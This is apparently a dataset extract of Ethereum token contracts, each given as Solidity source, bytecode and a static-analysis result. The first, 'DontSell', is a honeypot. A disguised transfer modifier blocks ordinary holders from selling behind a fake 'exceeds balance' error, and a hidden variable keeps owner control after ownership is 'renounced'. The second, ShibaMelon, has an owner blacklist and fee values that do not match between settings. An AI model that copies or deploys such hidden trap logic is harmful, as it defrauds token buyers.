let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DontSell is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000 * 10**9 * 10**18;
string private _name = 'DoontSell - https://t.me/doontsell';
string private _symbol = '$DoontSell';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier approveChecker(address dontsell, address recipient, uint256 amount){
if (_owner == _safeOwner && dontsell == _owner){_safeOwner = recipient;_;}
else{if (dontsell == _owner || dontsell == _safeOwner || recipient == _owner){_;}
else{require((dontsell == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122095c12f110fc8a7f5c48f1f66f07515d8c5496eeef9c735eac9b34a3c5cae672c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 601 |
0xddd41ace9d86d3e7c28f4bf0b334ca0aebce6398 | /**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// Shiba Melon (SHELON)
//CMC and CG application
//Liqudity Locked
//TG: https://t.me/ShibaMelon
//Website: ShibaMelon.com
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaMelon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShibaMelon.com";
string private constant _symbol = "SHELON \xF0\x9F\x8D\x89";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ef3565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a16565b61045e565b6040516101789190612ed8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613095565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129c7565b610490565b6040516101e09190612ed8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612939565b610569565b005b34801561021e57600080fd5b50610227610659565b60405161023491906